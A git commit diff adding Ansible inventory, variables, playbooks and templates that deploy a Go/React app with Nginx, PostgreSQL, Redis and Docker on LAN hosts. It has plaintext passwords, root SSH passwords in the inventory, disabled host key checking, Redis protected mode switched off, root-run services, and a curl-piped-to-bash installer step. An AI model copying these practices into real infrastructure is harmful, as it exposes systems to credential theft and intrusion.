chore: add ansible backend docker frontend-prep
This commit is contained in:
@@ -0,0 +1,9 @@
|
||||
[defaults]
|
||||
inventory = inventory/host.ini
|
||||
host_key_checking = False
|
||||
interpreter_python = auto_silent
|
||||
|
||||
[privilege_escalation]
|
||||
become = True
|
||||
become_method = sudo
|
||||
become_user = root
|
||||
@@ -0,0 +1,49 @@
|
||||
postgres_version: "16"
|
||||
postgres_databases:
|
||||
- name: gestion_db
|
||||
owner: postgres
|
||||
postgres_password: "VotreMotDePasseSecure123!"
|
||||
|
||||
# Redis Configuration
|
||||
redis_bind: "127.0.0.1"
|
||||
redis_port: 6379
|
||||
redis_maxmemory: "512mb"
|
||||
redis_maxmemory_policy: "allkeys-lru"
|
||||
redis_password: "UltrasecretMdp123!"
|
||||
|
||||
# ============================================
|
||||
# Configuration Nginx et Applications
|
||||
# ============================================
|
||||
nginx_app_name: "nantais-livraison"
|
||||
nginx_domain: "{{ ansible_default_ipv4.address }}"
|
||||
directory: "/home/ubuntu"
|
||||
tunnel_log: "/var/log/tunnel.log"
|
||||
tunnel_log_error: "/var/log/tunnel-error.log"
|
||||
# Chemins des applications (bonnes pratiques)
|
||||
nginx_frontend_path: "/home/ubuntu/frontend"
|
||||
backend_dir: "/home/ubuntu/backend"
|
||||
backend_binary: "/home/ubuntu/backend/main"
|
||||
docker_dir: "/home/ubuntu/docker"
|
||||
frontend_port: 5173
|
||||
backend_dir_docker: "/home/ubuntu/backend/docker"
|
||||
# Utilisateurs et permissions
|
||||
user_web: "www-data" # Utilisateur pour les applications web
|
||||
user_deploy: "ubuntu" # Utilisateur pour le déploiement
|
||||
user_owner: "root" # Propriétaire des fichiers systemd
|
||||
docker_user: docker
|
||||
docker_group: docker
|
||||
# Backend
|
||||
backend_port: 8080
|
||||
|
||||
# Timeouts
|
||||
nginx_proxy_timeout: 60
|
||||
|
||||
# Cache Duration
|
||||
nginx_cache_static_duration: "1y"
|
||||
nginx_cache_media_duration: "1y"
|
||||
|
||||
# Upload Size
|
||||
nginx_max_body_size: "10M"
|
||||
|
||||
# Security
|
||||
nginx_enable_firewall: true
|
||||
@@ -0,0 +1,21 @@
|
||||
[all]
|
||||
vm-postgres ansible_host=192.168.1.65 ansible_user=ubuntu ansible_ssh_pass=root
|
||||
vm-redis ansible_host=192.168.1.62 ansible_user=ubuntu ansible_ssh_pass=root
|
||||
vm-nginx ansible_host=192.168.1.67 ansible_user=ubuntu ansible_ssh_pass=root
|
||||
vm-backend ansible_host=192.168.1.72 ansible_user=ubuntu ansible_ssh_pass=root
|
||||
|
||||
[postgres]
|
||||
vm-postgres ansible_host=192.168.1.65 ansible_user=ubuntu ansible_ssh_pass=root
|
||||
|
||||
[redis]
|
||||
vm-redis ansible_host=192.168.1.62 ansible_user=ubuntu ansible_ssh_pass=root
|
||||
|
||||
[nginx]
|
||||
vm-nginx ansible_host=192.168.1.67 ansible_user=ubuntu ansible_ssh_pass=root
|
||||
|
||||
[backend]
|
||||
vm-backend ansible_host=192.168.1.72 ansible_user=ubuntu ansible_ssh_pass=root
|
||||
|
||||
[services]
|
||||
vm-redis ansible_host=192.168.1.62 ansible_user=ubuntu ansible_ssh_pass=root
|
||||
vm-postgres ansible_host=192.168.1.65 ansible_user=ubuntu ansible_ssh_pass=root
|
||||
@@ -0,0 +1,228 @@
|
||||
---
|
||||
- name: Installation et configuration du frontend et backend
|
||||
hosts: backend
|
||||
become: true
|
||||
gather_facts: true
|
||||
|
||||
tasks:
|
||||
- name: Update apt cache
|
||||
apt:
|
||||
update_cache: yes
|
||||
cache_valid_time: 3600
|
||||
|
||||
- name: Install required packages
|
||||
apt:
|
||||
name:
|
||||
- apt-transport-https
|
||||
- ca-certificates
|
||||
- curl
|
||||
- gnupg
|
||||
- lsb-release
|
||||
- software-properties-common
|
||||
- acl
|
||||
state: present
|
||||
|
||||
- name: Create directory for Docker GPG key
|
||||
file:
|
||||
path: /etc/apt/keyrings
|
||||
state: directory
|
||||
mode: "0755"
|
||||
|
||||
- name: Add Docker GPG key
|
||||
apt_key:
|
||||
url: https://download.docker.com/linux/ubuntu/gpg
|
||||
keyring: /etc/apt/keyrings/docker.gpg
|
||||
state: present
|
||||
|
||||
- name: Get system architecture
|
||||
command: dpkg --print-architecture
|
||||
register: system_arch
|
||||
changed_when: false
|
||||
|
||||
- name: Get Ubuntu codename
|
||||
command: lsb_release -cs
|
||||
register: ubuntu_codename
|
||||
changed_when: false
|
||||
|
||||
- name: Add Docker repository
|
||||
apt_repository:
|
||||
repo: "deb [arch={{ system_arch.stdout }} signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu {{ ubuntu_codename.stdout }} stable"
|
||||
state: present
|
||||
filename: docker
|
||||
|
||||
- name: Update apt cache after adding repo
|
||||
apt:
|
||||
update_cache: yes
|
||||
|
||||
- name: Install Docker packages
|
||||
apt:
|
||||
name:
|
||||
- docker-ce
|
||||
- docker-ce-cli
|
||||
- containerd.io
|
||||
- docker-buildx-plugin
|
||||
- docker-compose-plugin
|
||||
state: present
|
||||
|
||||
- name: Ensure Docker service is started and enabled
|
||||
systemd:
|
||||
name: docker
|
||||
state: started
|
||||
enabled: yes
|
||||
|
||||
- name: Create docker group
|
||||
group:
|
||||
name: "{{ docker_group }}"
|
||||
state: present
|
||||
|
||||
- name: Create docker user
|
||||
user:
|
||||
name: "{{ docker_user }}"
|
||||
group: "{{ docker_group }}"
|
||||
groups: docker
|
||||
append: yes
|
||||
shell: /bin/bash
|
||||
create_home: yes
|
||||
state: present
|
||||
|
||||
- name: Add ansible user to docker group
|
||||
user:
|
||||
name: "{{ ansible_user }}"
|
||||
groups: docker
|
||||
append: yes
|
||||
when: ansible_user is defined
|
||||
|
||||
- name: Verify Docker installation
|
||||
command: docker --version
|
||||
register: docker_version
|
||||
changed_when: false
|
||||
|
||||
- name: Verify Docker Compose installation
|
||||
command: docker compose version
|
||||
register: compose_version
|
||||
changed_when: false
|
||||
|
||||
- name: Display versions
|
||||
debug:
|
||||
msg:
|
||||
- "{{ docker_version.stdout }}"
|
||||
- "{{ compose_version.stdout }}"
|
||||
|
||||
- name: Create frontend directory
|
||||
ansible.builtin.file:
|
||||
path: "{{ nginx_frontend_path }}"
|
||||
state: directory
|
||||
owner: "{{ docker_user }}"
|
||||
group: "{{ docker_group }}"
|
||||
mode: "0755"
|
||||
|
||||
- name: Create backend directory
|
||||
ansible.builtin.file:
|
||||
path: "{{ backend_dir }}"
|
||||
state: directory
|
||||
owner: "{{ docker_user }}"
|
||||
group: "{{ docker_group }}"
|
||||
mode: "0755"
|
||||
|
||||
- name: Synchronize frontend content (excluding node_modules and .git)
|
||||
ansible.builtin.synchronize:
|
||||
src: ../frontend-prep
|
||||
dest: "{{ nginx_frontend_path }}/"
|
||||
rsync_opts:
|
||||
- "--exclude=node_modules"
|
||||
- "--exclude=.git"
|
||||
- "--exclude=dist"
|
||||
- "--exclude=build"
|
||||
delete: no
|
||||
recursive: yes
|
||||
tags: sync_frontend
|
||||
|
||||
- name: Set ownership for frontend directory
|
||||
ansible.builtin.file:
|
||||
path: "{{ nginx_frontend_path }}"
|
||||
owner: "{{ docker_user }}"
|
||||
group: "{{ docker_group }}"
|
||||
recurse: yes
|
||||
tags: sync_frontend
|
||||
|
||||
- name: Synchronize backend content (excluding node_modules and .git)
|
||||
ansible.builtin.synchronize:
|
||||
src: ../backend
|
||||
dest: "{{ backend_dir }}/"
|
||||
rsync_opts:
|
||||
- "--exclude=node_modules"
|
||||
- "--exclude=.git"
|
||||
- "--exclude=dist"
|
||||
- "--exclude=build"
|
||||
delete: no
|
||||
recursive: yes
|
||||
tags: sync_backend
|
||||
|
||||
- name: Set ownership for backend directory
|
||||
ansible.builtin.file:
|
||||
path: "{{ backend_dir }}"
|
||||
owner: "{{ docker_user }}"
|
||||
group: "{{ docker_group }}"
|
||||
recurse: yes
|
||||
tags: sync_backend
|
||||
|
||||
- name: Copy Docker project
|
||||
ansible.builtin.copy:
|
||||
src: ../docker/
|
||||
dest: "{{ docker_dir }}/"
|
||||
owner: "{{ docker_user }}"
|
||||
group: "{{ docker_group }}"
|
||||
mode: "0755"
|
||||
|
||||
- name: Ensure parent directory has correct permissions
|
||||
ansible.builtin.file:
|
||||
path: "{{ docker_dir }}"
|
||||
state: directory
|
||||
owner: "{{ docker_user }}"
|
||||
group: "{{ docker_group }}"
|
||||
mode: "0755"
|
||||
|
||||
- name: Set correct permissions for Docker files
|
||||
ansible.builtin.file:
|
||||
path: "{{ docker_dir }}"
|
||||
owner: "{{ docker_user }}"
|
||||
group: "{{ docker_group }}"
|
||||
recurse: yes
|
||||
|
||||
- name: Set permissions for .env file
|
||||
ansible.builtin.file:
|
||||
path: "{{ docker_dir }}/docker/.env"
|
||||
owner: "{{ docker_user }}"
|
||||
group: "{{ docker_group }}"
|
||||
mode: "0640"
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Build Docker project
|
||||
ansible.builtin.command:
|
||||
cmd: docker compose -f docker-compose-prod.yml build
|
||||
chdir: "{{ docker_dir }}/docker"
|
||||
become: yes
|
||||
become_user: "{{ docker_user }}"
|
||||
tags: build
|
||||
|
||||
- name: Start Docker project
|
||||
ansible.builtin.command:
|
||||
cmd: docker compose -f docker-compose-prod.yml up -d
|
||||
chdir: "{{ docker_dir }}/docker"
|
||||
become: yes
|
||||
become_user: "{{ docker_user }}"
|
||||
tags: start
|
||||
|
||||
- name: Show Docker containers
|
||||
ansible.builtin.command:
|
||||
cmd: docker compose ps
|
||||
chdir: "{{ docker_dir }}/docker"
|
||||
become: yes
|
||||
become_user: "{{ docker_user }}"
|
||||
register: docker_ps
|
||||
tags: start
|
||||
|
||||
- name: Display Docker containers
|
||||
debug:
|
||||
var: docker_ps.stdout_lines
|
||||
tags: start
|
||||
@@ -0,0 +1,234 @@
|
||||
---
|
||||
- name: Installation et configuration du frontend et backend
|
||||
hosts: nginx
|
||||
become: true
|
||||
gather_facts: true
|
||||
|
||||
tasks:
|
||||
- name: Update and upgrade
|
||||
ansible.builtin.apt:
|
||||
update_cache: yes
|
||||
cache_valid_time: 3600
|
||||
upgrade: "dist"
|
||||
|
||||
- name: install basic dependencies
|
||||
ansible.builtin.apt:
|
||||
name:
|
||||
- curl
|
||||
- wget
|
||||
- tar
|
||||
- rsync
|
||||
- acl
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: Download Go 1.23.0 tarball
|
||||
ansible.builtin.get_url:
|
||||
url: https://dl.google.com/go/go1.23.0.linux-amd64.tar.gz
|
||||
dest: /tmp/go1.23.0.linux-amd64.tar.gz
|
||||
mode: "0644"
|
||||
|
||||
- name: Extract Go 1.23.0
|
||||
ansible.builtin.unarchive:
|
||||
src: /tmp/go1.23.0.linux-amd64.tar.gz
|
||||
dest: /usr/local
|
||||
remote_src: yes
|
||||
|
||||
- name: Ensure Go 1.23 is in PATH for all users
|
||||
ansible.builtin.lineinfile:
|
||||
path: /etc/profile.d/go.sh
|
||||
line: "export PATH=/usr/local/go/bin:$PATH"
|
||||
create: yes
|
||||
state: present
|
||||
mode: "0644"
|
||||
|
||||
- name: Setup Node.js 20 repository
|
||||
ansible.builtin.shell: |
|
||||
curl -fsSL https://deb.nodesource.com/setup_20.x | bash -
|
||||
args:
|
||||
executable: /bin/bash
|
||||
|
||||
- name: Install Node.js 20
|
||||
ansible.builtin.apt:
|
||||
name: nodejs
|
||||
state: present
|
||||
update_cache: yes
|
||||
dpkg_options: "force-overwrite"
|
||||
|
||||
- name: Check Node.js, npm and Go versions
|
||||
ansible.builtin.shell: |
|
||||
echo "Node: $(node -v)"
|
||||
echo "npm: $(npm -v)"
|
||||
echo "Go: $(go version)"
|
||||
register: versions_check
|
||||
changed_when: false
|
||||
failed_when: versions_check.rc != 0
|
||||
|
||||
- name: Display all versions
|
||||
ansible.builtin.debug:
|
||||
msg: "{{ versions_check.stdout_lines }}"
|
||||
|
||||
# ============================================
|
||||
# FRONTEND
|
||||
# ============================================
|
||||
|
||||
- name: Create /var/www if not exists
|
||||
ansible.builtin.file:
|
||||
path: /var/www
|
||||
state: directory
|
||||
owner: root
|
||||
group: root
|
||||
mode: "0755"
|
||||
|
||||
- name: Ensure /home/ubuntu exists with correct permissions
|
||||
ansible.builtin.file:
|
||||
path: /home/ubuntu
|
||||
state: directory
|
||||
owner: "{{ user_deploy }}"
|
||||
group: "{{ user_deploy }}"
|
||||
mode: "0755"
|
||||
|
||||
- name: Remove old frontend directory if exists
|
||||
ansible.builtin.file:
|
||||
path: "{{ nginx_frontend_path }}"
|
||||
state: absent
|
||||
|
||||
- name: Create frontend directory with deploy user ownership
|
||||
ansible.builtin.file:
|
||||
path: "{{ nginx_frontend_path }}"
|
||||
state: directory
|
||||
owner: "{{ user_deploy }}"
|
||||
group: "{{ user_deploy }}"
|
||||
mode: "0755"
|
||||
|
||||
- name: Synchronize frontend content (excluding node_modules and .git)
|
||||
ansible.builtin.synchronize:
|
||||
src: ../frontend/
|
||||
dest: "{{ nginx_frontend_path }}/"
|
||||
rsync_opts:
|
||||
- "--exclude=node_modules"
|
||||
- "--exclude=.git"
|
||||
- "--exclude=dist"
|
||||
- "--exclude=build"
|
||||
delete: no
|
||||
recursive: yes
|
||||
tags:
|
||||
- syncro
|
||||
|
||||
- name: Install npm dependencies as deploy user
|
||||
become_user: "{{ user_deploy }}"
|
||||
ansible.builtin.shell: |
|
||||
export PATH=/usr/local/go/bin:$PATH
|
||||
npm install
|
||||
npm run build
|
||||
args:
|
||||
chdir: "{{ nginx_frontend_path }}"
|
||||
executable: /bin/bash
|
||||
|
||||
- name: Set ownership to www-data for runtime
|
||||
ansible.builtin.file:
|
||||
path: "{{ nginx_frontend_path }}"
|
||||
owner: "{{ user_web }}"
|
||||
group: "{{ user_web }}"
|
||||
mode: "0755"
|
||||
recurse: yes
|
||||
|
||||
# ============================================
|
||||
# BACKEND
|
||||
# ============================================
|
||||
|
||||
- name: Remove old backend directory if exists
|
||||
ansible.builtin.file:
|
||||
path: "{{ backend_dir }}"
|
||||
state: absent
|
||||
|
||||
- name: Create backend directory with deploy user ownership
|
||||
ansible.builtin.file:
|
||||
path: "{{ backend_dir }}"
|
||||
state: directory
|
||||
owner: "{{ user_deploy }}"
|
||||
group: "{{ user_deploy }}"
|
||||
mode: "0755"
|
||||
|
||||
- name: Copy backend files
|
||||
ansible.builtin.copy:
|
||||
src: "../backendprod/gestion/"
|
||||
dest: "{{ backend_dir }}/"
|
||||
owner: "{{ user_deploy }}"
|
||||
group: "{{ user_deploy }}"
|
||||
mode: preserve
|
||||
directory_mode: "0755"
|
||||
|
||||
- name: Compile backend as deploy user
|
||||
become_user: "{{ user_deploy }}"
|
||||
ansible.builtin.shell: |
|
||||
export PATH=/usr/local/go/bin:$PATH
|
||||
go mod tidy
|
||||
go build -o main .
|
||||
args:
|
||||
chdir: "{{ backend_dir }}"
|
||||
executable: /bin/bash
|
||||
tags:
|
||||
- compile
|
||||
- name: Set ownership to www-data for runtime
|
||||
ansible.builtin.file:
|
||||
path: "{{ backend_dir }}"
|
||||
owner: "{{ user_web }}"
|
||||
group: "{{ user_web }}"
|
||||
mode: "0755"
|
||||
recurse: yes
|
||||
|
||||
- name: Set executable permission on backend binary
|
||||
ansible.builtin.file:
|
||||
path: "{{ backend_binary }}"
|
||||
owner: "{{ user_web }}"
|
||||
group: "{{ user_web }}"
|
||||
mode: "0755"
|
||||
|
||||
# ============================================
|
||||
# SYSTEMD SERVICES
|
||||
# ============================================
|
||||
|
||||
- name: Create systemd service for backend
|
||||
ansible.builtin.template:
|
||||
src: ./templates/backend.service.j2
|
||||
dest: /etc/systemd/system/backend.service
|
||||
owner: root
|
||||
group: root
|
||||
mode: "0644"
|
||||
|
||||
- name: Reload systemd daemon
|
||||
ansible.builtin.systemd:
|
||||
daemon_reload: yes
|
||||
|
||||
- name: Enable and restart frontend service
|
||||
ansible.builtin.systemd:
|
||||
name: frontend
|
||||
enabled: yes
|
||||
state: restarted
|
||||
|
||||
- name: Enable and restart backend service
|
||||
ansible.builtin.systemd:
|
||||
name: backend
|
||||
enabled: yes
|
||||
state: restarted
|
||||
|
||||
- name: Wait for backend to be ready
|
||||
ansible.builtin.wait_for:
|
||||
port: "{{ backend_port }}"
|
||||
delay: 2
|
||||
timeout: 30
|
||||
|
||||
- name: Display service status
|
||||
ansible.builtin.shell: |
|
||||
echo "=== Frontend Service ==="
|
||||
systemctl status frontend --no-pager || true
|
||||
echo ""
|
||||
echo "=== Backend Service ==="
|
||||
systemctl status backend --no-pager || true
|
||||
register: service_status
|
||||
changed_when: false
|
||||
|
||||
- name: Show service status
|
||||
ansible.builtin.debug:
|
||||
msg: "{{ service_status.stdout_lines }}"
|
||||
@@ -0,0 +1,108 @@
|
||||
---
|
||||
- name: Installation et configuration de Nginx
|
||||
hosts: nginx
|
||||
become: true
|
||||
gather_facts: true
|
||||
|
||||
tasks:
|
||||
- name: Installer Nginx
|
||||
ansible.builtin.apt:
|
||||
name: nginx
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: Créer le répertoire frontend
|
||||
ansible.builtin.file:
|
||||
path: "{{ nginx_frontend_path }}"
|
||||
state: directory
|
||||
owner: www-data
|
||||
group: www-data
|
||||
mode: "0755"
|
||||
|
||||
- name: Créer le répertoire de logs
|
||||
ansible.builtin.file:
|
||||
path: /var/log/nginx
|
||||
state: directory
|
||||
owner: www-data
|
||||
group: adm
|
||||
mode: "0755"
|
||||
|
||||
- name: Supprimer la config par défaut
|
||||
ansible.builtin.file:
|
||||
path: /etc/nginx/sites-enabled/default
|
||||
state: absent
|
||||
|
||||
- name: Créer la configuration Nginx
|
||||
ansible.builtin.template:
|
||||
src: ./templates/nginx.conf.j2
|
||||
dest: /etc/nginx/sites-available/{{ nginx_app_name }}
|
||||
notify: Recharger Nginx
|
||||
|
||||
- name: Activer la configuration
|
||||
ansible.builtin.file:
|
||||
src: /etc/nginx/sites-available/{{ nginx_app_name }}
|
||||
dest: /etc/nginx/sites-enabled/{{ nginx_app_name }}
|
||||
state: link
|
||||
notify: Recharger Nginx
|
||||
|
||||
- name: Configurer Nginx global settings
|
||||
lineinfile:
|
||||
path: /etc/nginx/nginx.conf
|
||||
regexp: "{{ item.regexp }}"
|
||||
line: "{{ item.line }}"
|
||||
insertafter: "http {"
|
||||
loop:
|
||||
- {
|
||||
regexp: '^\s*server_tokens',
|
||||
line: " server_tokens off;",
|
||||
}
|
||||
- {
|
||||
regexp: '^\s*client_max_body_size',
|
||||
line: " client_max_body_size {{ nginx_max_body_size }};",
|
||||
}
|
||||
notify: Recharger Nginx
|
||||
|
||||
- name: Tester la configuration Nginx
|
||||
command: nginx -t
|
||||
register: nginx_test
|
||||
changed_when: false
|
||||
|
||||
- name: Afficher le résultat du test
|
||||
debug:
|
||||
var: nginx_test.stderr_lines
|
||||
|
||||
- name: Démarrer Nginx
|
||||
ansible.builtin.systemd:
|
||||
name: nginx
|
||||
state: started
|
||||
enabled: yes
|
||||
|
||||
- name: Configurer UFW - Autoriser HTTP
|
||||
ansible.builtin.ufw:
|
||||
rule: allow
|
||||
port: "80"
|
||||
proto: tcp
|
||||
when: nginx_enable_firewall | default(true)
|
||||
|
||||
- name: Configurer UFW - Bloquer accès direct au backend
|
||||
ansible.builtin.ufw:
|
||||
rule: deny
|
||||
port: "{{ backend_port }}"
|
||||
proto: tcp
|
||||
from_ip: any
|
||||
when: nginx_enable_firewall | default(true)
|
||||
|
||||
- name: Configurer le tunnel
|
||||
ansible.builtin.template:
|
||||
src: tunnel.conf.j2
|
||||
dest: /etc/tunnel.conf
|
||||
owner: root
|
||||
group: root
|
||||
mode: 0644
|
||||
notify: Recharger Nginx
|
||||
|
||||
handlers:
|
||||
- name: Recharger Nginx
|
||||
systemd:
|
||||
name: nginx
|
||||
state: reloaded
|
||||
@@ -0,0 +1,229 @@
|
||||
---
|
||||
# ============================================
|
||||
# PostgreSQL Installation (vm-postgres uniquement)
|
||||
# ============================================
|
||||
- name: Installation et configuration de PostgreSQL
|
||||
hosts: postgres
|
||||
become: true
|
||||
gather_facts: true
|
||||
|
||||
tasks:
|
||||
- name: Installer les dépendances système
|
||||
apt:
|
||||
name:
|
||||
- wget
|
||||
- gnupg2
|
||||
- lsb-release
|
||||
- ca-certificates
|
||||
- apt-transport-https
|
||||
- acl # Nécessaire pour become_user
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: Ajouter la clé GPG du dépôt PostgreSQL
|
||||
apt_key:
|
||||
url: https://www.postgresql.org/media/keys/ACCC4CF8.asc
|
||||
state: present
|
||||
|
||||
- name: Ajouter le dépôt PostgreSQL
|
||||
apt_repository:
|
||||
repo: "deb http://apt.postgresql.org/pub/repos/apt {{ ansible_distribution_release }}-pgdg main"
|
||||
state: present
|
||||
filename: pgdg
|
||||
|
||||
- name: Installer PostgreSQL {{ postgres_version }}
|
||||
apt:
|
||||
name:
|
||||
- postgresql-{{ postgres_version }}
|
||||
- postgresql-contrib-{{ postgres_version }}
|
||||
- python3-psycopg2
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: S'assurer que PostgreSQL est démarré
|
||||
systemd:
|
||||
name: postgresql
|
||||
state: started
|
||||
enabled: yes
|
||||
|
||||
- name: Définir le mot de passe du user postgres
|
||||
postgresql_user:
|
||||
name: postgres
|
||||
password: "{{ postgres_password }}"
|
||||
state: present
|
||||
become_user: postgres
|
||||
|
||||
- name: Créer les bases de données PostgreSQL
|
||||
postgresql_db:
|
||||
name: "{{ item.name }}"
|
||||
owner: postgres
|
||||
state: present
|
||||
loop: "{{ postgres_databases }}"
|
||||
become_user: postgres
|
||||
|
||||
- name: Configurer pg_hba.conf pour autoriser le backend
|
||||
blockinfile:
|
||||
path: "/etc/postgresql/{{ postgres_version }}/main/pg_hba.conf"
|
||||
block: |
|
||||
# Connexions locales
|
||||
local all postgres peer
|
||||
host all postgres 127.0.0.1/32 scram-sha-256
|
||||
# Connexions backend LAN
|
||||
host all postgres 192.168.1.0/24 scram-sha-256
|
||||
marker: "# {mark} ANSIBLE MANAGED BLOCK"
|
||||
notify: Redémarrer PostgreSQL
|
||||
tags:
|
||||
- reload
|
||||
|
||||
- name: Configurer PostgreSQL pour écouter sur toutes les interfaces
|
||||
lineinfile:
|
||||
path: "/etc/postgresql/{{ postgres_version }}/main/postgresql.conf"
|
||||
regexp: "^#?listen_addresses"
|
||||
line: "listen_addresses = '*'"
|
||||
state: present
|
||||
notify: Redémarrer PostgreSQL
|
||||
tags:
|
||||
- reload
|
||||
|
||||
handlers:
|
||||
- name: Redémarrer PostgreSQL
|
||||
systemd:
|
||||
name: postgresql
|
||||
state: restarted
|
||||
tags:
|
||||
- reload
|
||||
|
||||
# ============================================
|
||||
# Redis Installation (vm-redis uniquement)
|
||||
# ============================================
|
||||
- name: Installation et configuration de Redis
|
||||
hosts: redis
|
||||
become: true
|
||||
gather_facts: true
|
||||
|
||||
tasks:
|
||||
- name: Installer Redis
|
||||
apt:
|
||||
name:
|
||||
- redis-server
|
||||
- python3-redis
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: Créer le répertoire de backup Redis
|
||||
file:
|
||||
path: /var/lib/redis/backup
|
||||
state: directory
|
||||
owner: redis
|
||||
group: redis
|
||||
mode: "0755"
|
||||
|
||||
- name: Configurer Redis - bind address (accepter connexions réseau)
|
||||
lineinfile:
|
||||
path: /etc/redis/redis.conf
|
||||
regexp: "^bind"
|
||||
line: "bind 127.0.0.1 192.168.1.62"
|
||||
state: present
|
||||
notify: Redémarrer Redis
|
||||
|
||||
- name: Configurer Redis - port
|
||||
lineinfile:
|
||||
path: /etc/redis/redis.conf
|
||||
regexp: "^port"
|
||||
line: "port {{ redis_port }}"
|
||||
state: present
|
||||
notify: Redémarrer Redis
|
||||
|
||||
- name: Configurer Redis - maxmemory
|
||||
lineinfile:
|
||||
path: /etc/redis/redis.conf
|
||||
regexp: "^# ?maxmemory"
|
||||
line: "maxmemory {{ redis_maxmemory }}"
|
||||
state: present
|
||||
notify: Redémarrer Redis
|
||||
|
||||
- name: Configurer Redis - maxmemory-policy
|
||||
lineinfile:
|
||||
path: /etc/redis/redis.conf
|
||||
regexp: "^# ?maxmemory-policy"
|
||||
line: "maxmemory-policy {{ redis_maxmemory_policy }}"
|
||||
state: present
|
||||
notify: Redémarrer Redis
|
||||
|
||||
- name: Configurer Redis - requirepass
|
||||
lineinfile:
|
||||
path: /etc/redis/redis.conf
|
||||
regexp: "^# ?requirepass"
|
||||
line: "requirepass {{ redis_password }}"
|
||||
state: present
|
||||
notify: Redémarrer Redis
|
||||
|
||||
- name: Activer AOF (Append Only File) pour Redis
|
||||
lineinfile:
|
||||
path: /etc/redis/redis.conf
|
||||
regexp: "^appendonly"
|
||||
line: "appendonly yes"
|
||||
state: present
|
||||
notify: Redémarrer Redis
|
||||
|
||||
- name: Configurer la fréquence de sync AOF
|
||||
lineinfile:
|
||||
path: /etc/redis/redis.conf
|
||||
regexp: "^# ?appendfsync"
|
||||
line: "appendfsync everysec"
|
||||
state: present
|
||||
notify: Redémarrer Redis
|
||||
|
||||
- name: Activer la persistance RDB (snapshots)
|
||||
blockinfile:
|
||||
path: /etc/redis/redis.conf
|
||||
block: |
|
||||
save 900 1
|
||||
save 300 10
|
||||
save 60 10000
|
||||
marker: "# {mark} ANSIBLE MANAGED RDB PERSISTENCE"
|
||||
notify: Redémarrer Redis
|
||||
|
||||
- name: Configurer le nom du fichier AOF
|
||||
lineinfile:
|
||||
path: /etc/redis/redis.conf
|
||||
regexp: "^appendfilename"
|
||||
line: 'appendfilename "appendonly.aof"'
|
||||
state: present
|
||||
notify: Redémarrer Redis
|
||||
|
||||
- name: Désactiver le mode protégé Redis
|
||||
lineinfile:
|
||||
path: /etc/redis/redis.conf
|
||||
regexp: "^protected-mode"
|
||||
line: "protected-mode no"
|
||||
state: present
|
||||
notify: Redémarrer Redis
|
||||
|
||||
- name: Configurer le répertoire de travail Redis
|
||||
lineinfile:
|
||||
path: /etc/redis/redis.conf
|
||||
regexp: "^dir"
|
||||
line: "dir /var/lib/redis"
|
||||
state: present
|
||||
notify: Redémarrer Redis
|
||||
|
||||
- name: Définir le niveau de log
|
||||
lineinfile:
|
||||
path: /etc/redis/redis.conf
|
||||
regexp: "^loglevel"
|
||||
line: "loglevel notice"
|
||||
state: present
|
||||
notify: Redémarrer Redis
|
||||
|
||||
- name: S'assurer que Redis est démarré
|
||||
systemd:
|
||||
name: redis-server
|
||||
state: started
|
||||
enabled: yes
|
||||
|
||||
handlers:
|
||||
- name: Redémarrer Redis
|
||||
systemd:
|
||||
name: redis-server
|
||||
state: restarted
|
||||
@@ -0,0 +1,12 @@
|
||||
[Unit]
|
||||
Description=Backend Golang API
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
User={{ user_owner }}
|
||||
WorkingDirectory={{ backend_dir }}
|
||||
ExecStart={{ backend_binary }}
|
||||
Restart=always
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
@@ -0,0 +1,14 @@
|
||||
[Unit]
|
||||
Description=Frontend React Production (Vite)
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
User={{ user_owner }}
|
||||
Group={{ user_owner }}
|
||||
WorkingDirectory={{ nginx_frontend_path }}
|
||||
ExecStart=/usr/bin/npm run preview -- --port {{ frontend_port }}
|
||||
Restart=always
|
||||
Environment=NODE_ENV=production
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
@@ -0,0 +1,79 @@
|
||||
upstream backend {
|
||||
server 127.0.0.1:{{ backend_port }} max_fails=3 fail_timeout=30s;
|
||||
keepalive 32;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name {{ nginx_domain }};
|
||||
root {{ nginx_frontend_path }}/dist;
|
||||
index index.html;
|
||||
|
||||
access_log /var/log/nginx/{{ nginx_app_name }}.access.log;
|
||||
error_log /var/log/nginx/{{ nginx_app_name }}.error.log;
|
||||
|
||||
client_max_body_size {{ nginx_max_body_size }};
|
||||
|
||||
location /api/ {
|
||||
limit_except GET POST PUT DELETE PATCH OPTIONS {
|
||||
deny all;
|
||||
}
|
||||
|
||||
proxy_pass http://backend/;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Connection "";
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
proxy_connect_timeout {{ nginx_proxy_timeout }}s;
|
||||
proxy_send_timeout {{ nginx_proxy_timeout }}s;
|
||||
proxy_read_timeout {{ nginx_proxy_timeout }}s;
|
||||
|
||||
proxy_buffering on;
|
||||
proxy_buffer_size 4k;
|
||||
proxy_buffers 8 4k;
|
||||
proxy_no_cache 1;
|
||||
proxy_cache_bypass 1;
|
||||
}
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ /index.html;
|
||||
add_header Cache-Control "no-cache, no-store, must-revalidate";
|
||||
}
|
||||
|
||||
location ~* \.(css|js)$ {
|
||||
expires {{ nginx_cache_static_duration }};
|
||||
add_header Cache-Control "public, immutable";
|
||||
access_log off;
|
||||
}
|
||||
|
||||
location ~* \.(jpg|jpeg|png|gif|ico|svg|woff|woff2|ttf|eot)$ {
|
||||
expires {{ nginx_cache_media_duration }};
|
||||
add_header Cache-Control "public, immutable";
|
||||
access_log off;
|
||||
}
|
||||
|
||||
location = /health {
|
||||
access_log off;
|
||||
return 200 "healthy\n";
|
||||
add_header Content-Type text/plain;
|
||||
}
|
||||
|
||||
